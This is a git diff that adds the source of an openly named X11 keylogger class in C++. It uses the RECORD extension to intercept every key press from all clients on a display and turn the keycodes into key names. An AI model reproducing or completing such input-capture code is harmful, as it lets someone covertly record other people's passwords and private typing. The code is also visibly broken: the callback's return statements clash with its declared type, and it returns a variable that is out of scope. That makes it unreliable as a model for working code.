1 files changed, 88 insertions, 0 deletions
diff --git a/srcs/Keylogger.cpp b/srcs/Keylogger.cpp
new file mode 100644
index 0000000..2dd2b90
--- /dev/null
+++ b/srcs/Keylogger.cpp
@@ -0,0 +1,88 @@
+//
+// Keylogger.cpp for Keylogger class in /home/vianney
+// 
+// Made by Vianney Bouchaud
+// Login   <vianney@bouchaud.org>
+// 
+// Started on  Wed Oct  5 13:58:25 2011 Vianney Bouchaud
+// Last update Thu Oct  6 19:03:44 2011 Vianney Bouchaud
+//
+
+#include	<string>
+#include	"Keylogger.hpp"
+
+Keylogger::Keylogger()
+{
+}
+
+Keylogger::~Keylogger()
+{
+  stop();
+}
+
+void		Keylogger::start()
+{
+  if (!XRecordEnableContextAsync(userData.dataDisplay, recContext, eventCallback, (XPointer) &userData))
+    throw exception();
+}
+
+void		Keylogger::stop()
+{
+  if(!XRecordDisableContext(userData.ctrlDisplay, recContext))
+    throw exception();
+}
+
+void		Keylogger::setupRecordExtension()
+{
+  XSynchronize(userData.ctrlDisplay, True);
+  if (!XRecordQueryVersion(userData.ctrlDisplay, &recVer.first, &recVer.second))
+    throw exception();
+  recRange = XRecordAllocRange();
+  if (!recRange)
+    throw exception();
+  recRange->device_events.first = KeyPress;
+  recRange->device_events.last = KeyPress;
+  recClientSpec = XRecordAllClients;
+  recContext = XRecordCreateContext(userData.ctrlDisplay, 0, &recClientSpec, 1, &recRange, 1);
+  if (!recContext)
+    throw exception();
+}
+
+void		Keylogger::processData()
+{
+  XRecordProcessReplies(userData.dataDisplay);
+}
+
+bool		Keylogger::xConnect(string displayName)
+{
+  m_displayName = displayName;
+  if (NULL == (userData.ctrlDisplay = XOpenDisplay(m_displayName.c_str())))
+    return (false);
+  if (NULL == (userData.dataDisplay = XOpenDisplay(m_displayName.c_str())))
+    {
+      XCloseDisplay(userData.ctrlDisplay);
+      userData.ctrlDisplay = NULL;
+      return (false);
+    }
+  userData.initialObject = (void *)this;
+  setupRecordExtension();
+  return (true);
+}
+
+static std::string	Keylogger::eventCallback(XPointer priv, XRecordInterceptData *hook)
+{
+  if (hook->category != XRecordFromServer)
+    {
+      XRecordFreeData(hook);
+      return;
+    }
+  CallbackClosure *userData = (CallbackClosure *)priv;
+  XRecordDatum *data = (XRecordDatum *) hook->data;
+  if(data->event.u.u.type == KeyPress)
+    {
+      int c = data->event.u.u.detail;
+      std::string solv = XKeysymToString(XKeycodeToKeysym(userData->ctrlDisplay, c, 0));
+    }
+  XRecordFreeData(hook);
+  return (solv);
+}